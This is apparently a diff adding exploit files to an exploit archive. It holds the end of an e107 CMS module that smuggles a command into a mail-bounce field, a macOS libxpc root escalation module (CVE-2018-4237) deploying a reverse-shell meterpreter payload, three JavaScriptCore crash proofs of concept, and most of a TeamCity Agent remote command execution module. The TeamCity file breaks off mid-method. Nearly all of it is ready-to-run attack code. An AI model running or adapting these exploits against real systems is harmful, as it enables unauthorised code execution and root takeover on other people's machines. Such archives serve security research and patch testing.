if res.body.include? 'Status: <b>Disabled</b>'
|
||||
print_error('Cron disabled, unexploitable.')
|
||||
return
|
||||
end
|
||||
|
||||
print_good('Storing payload in mail settings')
|
||||
|
||||
# the imap/pop field is hard to find. Check Users > Mail
|
||||
# then check "Bounced emails - Processing method" and set it to "Mail account"
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'mailout.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'mode' => 'prefs',
|
||||
'action' => 'prefs'
|
||||
},
|
||||
'vars_post' => {
|
||||
'testaddress' => 'none@none.com',
|
||||
'testtemplate' => 'textonly',
|
||||
'bulkmailer' => 'smtp',
|
||||
'smtp_server' => '1.1.1.1',
|
||||
'smtp_username' => 'username',
|
||||
'smtp_password' => 'password',
|
||||
'smtp_port' => '25',
|
||||
'smtp_options' => '',
|
||||
'smtp_keepalive' => '0',
|
||||
'smtp_useVERP' => '0',
|
||||
'mail_sendstyle' => 'texthtml',
|
||||
'mail_pause' => '3',
|
||||
'mail_pausetime' => '4',
|
||||
'mail_workpertick' => '5',
|
||||
'mail_log_option' => '0',
|
||||
'mail_bounce' => 'mail',
|
||||
'mail_bounce_email2' => '',
|
||||
'mail_bounce_email' => "#{Rex::Text.rand_text_alphanumeric(8)}@#{Rex::Text.rand_text_alphanumeric(8)}.org",
|
||||
'mail_bounce_pop3' => "x #{command("\t")}}",
|
||||
'mail_bounce_user' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'mail_bounce_pass' => Rex::Text.rand_text_alphanumeric(8),
|
||||
'mail_bounce_type' => 'imap',
|
||||
'mail_bounce_auto' => '1',
|
||||
'updateprefs' => 'Save Changes'
|
||||
})
|
||||
|
||||
|
||||
vprint_status('Loading cron page to execute job manually')
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
unless res
|
||||
print_error('Error loading site. Check options.')
|
||||
return
|
||||
end
|
||||
|
||||
if /name='e-token' value='(?<etoken>\w{32})'/ =~ res.body && /_system::procEmailBounce.+?cron_execute\[(?<cron_id>\d)\]/m =~ res.body
|
||||
print_good("Triggering manual run of mail bounch check cron to execute payload with cron id #{cron_id} and etoken #{etoken}")
|
||||
# The post request has several duplicate columns, however all were not required. Left them commented for documentation purposes
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'e107_admin', 'cron.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'e-token' => etoken,
|
||||
#'e-columns[]' => 'cron_category',
|
||||
'e-columns[]' => 'cron_name',
|
||||
#'e-columns[]' => 'cron_description',
|
||||
#'e-columns[]' => 'cron_function',
|
||||
#'e-columns[]' => 'cron_tab',
|
||||
#'e-columns[]' => 'cron_lastrun',
|
||||
#'e-columns[]' => 'cron_active',
|
||||
"cron_execute[#{cron_id}]" => '1',
|
||||
'etrigger_batch' => ''
|
||||
})
|
||||
|
||||
else
|
||||
print_error('e-token not found, required for manual exploitation. Wait 60sec, cron may still trigger.')
|
||||
end
|
||||
|
||||
print_status('IMAP server config left on server, manual removal required.')
|
||||
elsif target.name =~ /custom/
|
||||
print_status('Listener started for 300 seconds')
|
||||
print_good("POST request connection string: x #{command}}")
|
||||
# URI.encode leaves + as + since that's a space encoded. So we manually change it.
|
||||
print_good("GET request connection string: #{URI.encode("x " + command + "}").sub! '+', '%2B'}")
|
||||
end
|
||||
end
|
||||
end
|
87
exploits/macos/local/45916.rb
Executable file
87
exploits/macos/local/45916.rb
Executable file
|
@ -0,0 +1,87 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X libxpc MITM Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
|
||||
The task_set_special_port API allows callers to overwrite their bootstrap port,
|
||||
which is used to communicate with launchd. This port is inherited across forks:
|
||||
child processes will use the same bootstrap port as the parent.
|
||||
By overwriting the bootstrap port and forking a child processes, we can now gain
|
||||
a MitM position between our child and launchd.
|
||||
|
||||
To gain root we target the sudo binary and intercept its communication with
|
||||
opendirectoryd, which is used by sudo to verify credentials. We modify the
|
||||
replies from opendirectoryd to make it look like our password was valid.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'saelo' ],
|
||||
'References' => [
|
||||
['CVE', '2018-4237'],
|
||||
['URL', 'https://github.com/saelo/pwn2own2018'],
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => 'osx',
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
[ 'Mac OS X x64 (Native Payload)', { } ]
|
||||
],
|
||||
'DisclosureDate' => 'Mar 15 2018'))
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def upload_executable_file(filepath, filedata)
|
||||
print_status("Uploading file: '#{filepath}'")
|
||||
write_file(filepath, filedata)
|
||||
chmod(filepath)
|
||||
register_file_for_cleanup(filepath)
|
||||
end
|
||||
|
||||
def check
|
||||
version = Gem::Version.new(get_system_version)
|
||||
if version >= Gem::Version.new('10.13.4')
|
||||
CheckCode::Safe
|
||||
else
|
||||
CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
|
||||
exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||
upload_executable_file(exploit_file, exploit_data)
|
||||
payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||
upload_executable_file(payload_file, generate_payload_exe)
|
||||
exploit_cmd = "#{exploit_file} #{payload_file}"
|
||||
print_status("Executing cmd '#{exploit_cmd}'")
|
||||
cmd_exec(exploit_cmd)
|
||||
end
|
||||
end
|
43
exploits/multiple/dos/45910.js
Normal file
43
exploits/multiple/dos/45910.js
Normal file
|
@ -0,0 +1,43 @@
|
|||
/*
|
||||
When a for-in loop is executed, a JSPropertyNameEnumerator object is created at the beginning and used to store the information of the input object to the for-in loop. Inside the loop, the structure ID of the "this" object of every get_by_id expression taking the loop variable as the index is compared to the cached structure ID from the JSPropertyNameEnumerator object. If it's the same, the "this" object of the get_by_id expression will be considered having the same structure as the input object to the for-in loop has.
|
||||
|
||||
The problem is, it doesn't have anything to prevent the structure from which the cached structure ID from being freed. As structure IDs can be reused after their owners get freed, this can lead to type confusion.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function gc() {
|
||||
for (let i = 0; i < 10; i++) {
|
||||
let ab = new ArrayBuffer(1024 * 1024 * 10);
|
||||
}
|
||||
}
|
||||
|
||||
function opt(obj) {
|
||||
// Starting the optimization.
|
||||
for (let i = 0; i < 500; i++) {
|
||||
|
||||
}
|
||||
|
||||
let tmp = {a: 1};
|
||||
|
||||
gc();
|
||||
tmp.__proto__ = {};
|
||||
|
||||
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
|
||||
tmp.__proto__ = {};
|
||||
|
||||
gc();
|
||||
|
||||
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
|
||||
|
||||
return obj[k]; // Type confusion.
|
||||
}
|
||||
}
|
||||
|
||||
opt({});
|
||||
|
||||
let fake_object_memory = new Uint32Array(100);
|
||||
fake_object_memory[0] = 0x1234;
|
||||
|
||||
let fake_object = opt(fake_object_memory);
|
||||
print(fake_object);
|
29
exploits/multiple/dos/45911.js
Normal file
29
exploits/multiple/dos/45911.js
Normal file
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
case ArrayPushIntrinsic: {
|
||||
...
|
||||
|
||||
if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
|
||||
return false;
|
||||
|
||||
ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
|
||||
|
||||
...
|
||||
}
|
||||
|
||||
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
|
||||
|
||||
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
Array.prototype.__defineGetter__('a', Array.prototype.push);
|
||||
|
||||
function opt() {
|
||||
let arr = new Array(1, 2, 3, 4);
|
||||
arr['a' + ''];
|
||||
}
|
||||
|
||||
for (let i = 0; i < 1000; i++) {
|
||||
opt();
|
||||
}
|
22
exploits/multiple/dos/45912.js
Normal file
22
exploits/multiple/dos/45912.js
Normal file
|
@ -0,0 +1,22 @@
|
|||
/*
|
||||
This is simillar to issue 1263 . When hoisting a function onto the outer scope, if it overwrites the iteration variable for a for-in loop it should invalidate the corresponding ForInContext object, but it doesn't. As a result, an arbitrary object can be passed as the property variable to the op_get_direct_pname handler which uses the property variable directly as a string object without any check.
|
||||
|
||||
PoC:
|
||||
*/
|
||||
|
||||
function trigger() {
|
||||
let o = {a: 1};
|
||||
for (var k in o) {
|
||||
{
|
||||
k = 0x1234;
|
||||
|
||||
function k() {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
o[k];
|
||||
}
|
||||
}
|
||||
|
||||
trigger();
|
708
exploits/multiple/remote/45917.rb
Executable file
708
exploits/multiple/remote/45917.rb
Executable file
|
@ -0,0 +1,708 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'TeamCity Agent XML-RPC Command Execution',
|
||||
'Description' => %q(
|
||||
This module allows remote code execution on TeamCity Agents configured
|
||||
to use bidirectional communication via xml-rpc. In bidirectional mode
|
||||
the TeamCity server pushes build commands to the Build Agents over port
|
||||
TCP/9090 without requiring authentication. Up until version 10 this was
|
||||
the default configuration. This module supports TeamCity agents from
|
||||
version 6.0 onwards.
|
||||
),
|
||||
'Author' => ['Dylan Pindur <dylanpindur@gmail.com>'],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.tenable.com/plugins/nessus/94675']
|
||||
],
|
||||
'Platform' => %w[linux win],
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows', { 'Platform' => 'win' }],
|
||||
['Linux', { 'Platform' => 'linux' }]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 14 2015'))
|
||||
|
||||
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9090),
|
||||
OptString.new(
|
||||
'CMD',
|
||||
[false, 'Execute this command instead of using command stager', '']
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
version = determine_version
|
||||
if !version.nil? && version >= 15772
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
version = determine_version
|
||||
if version.nil?
|
||||
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
|
||||
else
|
||||
print_status("Found TeamCity Agent running build version #{version}")
|
||||
end
|
||||
|
||||
unless datastore['CMD'].blank?
|
||||
print_status('Executing user supplied command')
|
||||
execute_command(datastore['CMD'], version)
|
||||
return
|
||||
end
|
||||
|
||||
case target['Platform']
|
||||
when 'linux'
|
||||
linux_stager(version)
|
||||
when 'win'
|
||||
windows_stager(version)
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
end
|
||||
|
||||
def windows_stager(version)
|
||||
print_status('Constructing Windows payload')
|
||||
|
||||
stager = generate_cmdstager(
|
||||
flavor: :certutil,
|
||||
temp: '.',
|
||||
concat_operator: "\n",
|
||||
nodelete: true
|
||||
).join("\n")
|
||||
stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')
|
||||
|
||||
xml_payload = build_request(stager, version)
|
||||
if xml_payload.nil?
|
||||
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||
end
|
||||
|
||||
print_status("Found compatible build config for TeamCity build #{version}")
|
||||
send_request(xml_payload)
|
||||
end
|
||||
|
||||
def linux_stager(version)
|
||||
print_status('Constructing Linux payload')
|
||||
|
||||
stager = generate_cmdstager(
|
||||
flavor: :printf,
|
||||
temp: '.',
|
||||
concat_operator: "\n",
|
||||
nodelete: true
|
||||
).join("\n")
|
||||
stager << ' &'
|
||||
|
||||
xml_payload = build_request(stager, version)
|
||||
if xml_payload.nil?
|
||||
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||
end
|
||||
|
||||
print_status("Found compatible build config for TeamCity build #{version}")
|
||||
send_request(xml_payload)
|
||||
end
|
||||
|
||||
def execute_command(cmd, version)
|
||||
xml_payload = build_request(cmd, version)
|
||||
|
||||
if xml_payload.nil?
|
||||
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
|
||||
end
|
||||
|
||||
print_status("Found compatible build config for TeamCity build #{version}")
|
||||
send_request(xml_payload)
|
||||
end
|
||||
|
||||
def determine_version
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.getVersion</methodName>
|
||||
<params></params>
|
||||
</methodCall>
|
||||
)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'data' => xml_payload.strip!
|
||||
},
|
||||
10
|
||||
)
|
||||
|
||||
if !res.nil? && res.code == 200
|
||||
xml_doc = res.get_xml_document
|
||||
if xml_doc.errors.empty?
|
||||
val = xml_doc.xpath('/methodResponse/params/param/value')
|
||||
if val.length == 1
|
||||
return val.text.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
def send_request(xml_payload)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'POST',
|
||||
'ctype' => 'text/xml',
|
||||
'data' => xml_payload
|
||||
},
|
||||
10
|
||||
)
|
||||
|
||||
if !res.nil? && res.code == 200
|
||||
print_status("Successfully sent build configuration")
|
||||
else
|
||||
print_status("Failed to send build configuration")
|
||||
end
|
||||
end
|
||||
|
||||
def build_request(script_content, version)
|
||||
case version
|
||||
when 0..15771
|
||||
return nil
|
||||
when 15772..17794
|
||||
return req_teamcity_6(script_content)
|
||||
when 17795..21240
|
||||
return req_teamcity_6_5(script_content)
|
||||
when 21241..27401
|
||||
return req_teamcity_7(script_content)
|
||||
when 27402..32059
|
||||
return req_teamcity_8(script_content)
|
||||
when 32060..42001
|
||||
return req_teamcity_9(script_content)
|
||||
when 42002..46532
|
||||
return req_teamcity_10(script_content)
|
||||
else
|
||||
return req_teamcity_2017(script_content)
|
||||
end
|
||||
end
|
||||
|
||||
def req_teamcity_2017(script_content)
|
||||
build_code = Rex::Text.rand_text_alpha(8)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.runBuild</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
|
||||
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
|
||||
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
|
||||
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||
<myServerParameters class="StringTreeMap">
|
||||
<k>system.build.number</k>
|
||||
<v>0</v>
|
||||
</myServerParameters>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myArtifactPaths/>
|
||||
<myArtifactStorageSettings/>
|
||||
<myBuildFeatures/>
|
||||
<myBuildTypeOptions/>
|
||||
<myFullCheckoutReasons/>
|
||||
<myParametersSpecs class="StringTreeMap"/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||
<myVcsRootEntries/>
|
||||
<myVcsRootOldRevisions class="tree-map"/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myId>x</myId>
|
||||
<myIsDisabled>false</myIsDisabled>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myChildren class="list"/>
|
||||
<myServerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>teamcity.build.step.name</string>
|
||||
<string>x</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>teamcity.step.mode</string>
|
||||
<string>default</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
|
||||
def req_teamcity_10(script_content)
|
||||
build_code = Rex::Text.rand_text_alpha(8)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.runBuild</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
|
||||
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
|
||||
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
|
||||
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||
<myServerParameters class="StringTreeMap">
|
||||
<k>system.build.number</k>
|
||||
<v>0</v>
|
||||
</myServerParameters>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myArtifactPaths/>
|
||||
<myBuildFeatures/>
|
||||
<myBuildTypeOptions/>
|
||||
<myFullCheckoutReasons/>
|
||||
<myParametersSpecs class="StringTreeMap"/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||
<myVcsRootEntries/>
|
||||
<myVcsRootOldRevisions class="tree-map"/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myId>x</myId>
|
||||
<myIsDisabled>false</myIsDisabled>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myChildren class="list"/>
|
||||
<myServerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>teamcity.build.step.name</string>
|
||||
<string>x</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>teamcity.step.mode</string>
|
||||
<string>default</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
|
||||
def req_teamcity_9(script_content)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.runBuild</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myBuildTypeExternalId>x</myBuildTypeExternalId>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||
<myServerParameters class="StringTreeMap">
|
||||
<k>system.build.number</k>
|
||||
<v>0</v>
|
||||
</myServerParameters>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myArtifactPaths/>
|
||||
<myBuildFeatures/>
|
||||
<myBuildTypeOptions/>
|
||||
<myFullCheckoutReasons/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||
<myVcsRootEntries/>
|
||||
<myVcsRootOldRevisions class="tree-map"/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myId>x</myId>
|
||||
<myIsDisabled>false</myIsDisabled>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myChildren class="list"/>
|
||||
<myServerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>teamcity.build.step.name</string>
|
||||
<string>x</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>teamcity.step.mode</string>
|
||||
<string>default</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
|
||||
def req_teamcity_8(script_content)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.runBuild</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||
<myServerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>system.build.number</string>
|
||||
<string>0</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myArtifactPaths/>
|
||||
<myBuildTypeOptions/>
|
||||
<myFullCheckoutReasons/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootCurrentRevisions class="tree-map"/>
|
||||
<myVcsRootEntries/>
|
||||
<myVcsRootOldRevisions class="tree-map"/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myId>x</myId>
|
||||
<myIsDisabled>false</myIsDisabled>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myChildren class="list"/>
|
||||
<myServerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>teamcity.build.step.name</string>
|
||||
<string>x</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>teamcity.step.mode</string>
|
||||
<string>default</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||
<myBuildFeatures/>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
end
|
||||
|
||||
def req_teamcity_7(script_content)
|
||||
build_id = Rex::Text.rand_text_numeric(8)
|
||||
xml_payload = %(
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<methodCall>
|
||||
<methodName>buildAgent.runBuild</methodName>
|
||||
<params>
|
||||
<param>
|
||||
<value>
|
||||
<![CDATA[
|
||||
<AgentBuild>
|
||||
<myBuildId>#{build_id}</myBuildId>
|
||||
<myBuildTypeId>x</myBuildTypeId>
|
||||
<myCheckoutType>ON_AGENT</myCheckoutType>
|
||||
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>system.build.number</string>
|
||||
<string>0</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
<myVcsRootOldRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootOldRevisions>
|
||||
<myVcsRootCurrentRevisions class="tree-map">
|
||||
<no-comparator/>
|
||||
</myVcsRootCurrentRevisions>
|
||||
<myAccessCode/>
|
||||
<myArtifactDependencies/>
|
||||
<myArtifactPaths/>
|
||||
<myBuildTypeOptions/>
|
||||
<myFullCheckoutReasons/>
|
||||
<myPersonalVcsChanges/>
|
||||
<myUserBuildParameters/>
|
||||
<myVcsChanges/>
|
||||
<myVcsRootEntries/>
|
||||
<myBuildRunners>
|
||||
<jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
<myRunType>simpleRunner</myRunType>
|
||||
<myRunnerName>x</myRunnerName>
|
||||
<myRunnerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>script.content</string>
|
||||
<string>#{script_content}</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>teamcity.step.mode</string>
|
||||
<string>default</string>
|
||||
</entry>
|
||||
<entry>
|
||||
<string>use.custom.script</string>
|
||||
<string>true</string>
|
||||
</entry>
|
||||
</myRunnerParameters>
|
||||
<myServerParameters class="tree-map">
|
||||
<no-comparator/>
|
||||
<entry>
|
||||
<string>teamcity.build.step.name</string>
|
||||
<string>x</string>
|
||||
</entry>
|
||||
</myServerParameters>
|
||||
</jetbrains.buildServer.agentServer.BuildRunnerData>
|
||||
</myBuildRunners>
|
||||
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
|
||||
<myBuildFeatures/>
|
||||
</AgentBuild>
|
||||
]]>
|
||||
</value>
|
||||
</param>
|
||||
</params>
|
||||
</methodCall>
|
||||
)
|
||||
return xml_payload.strip!
|
||||
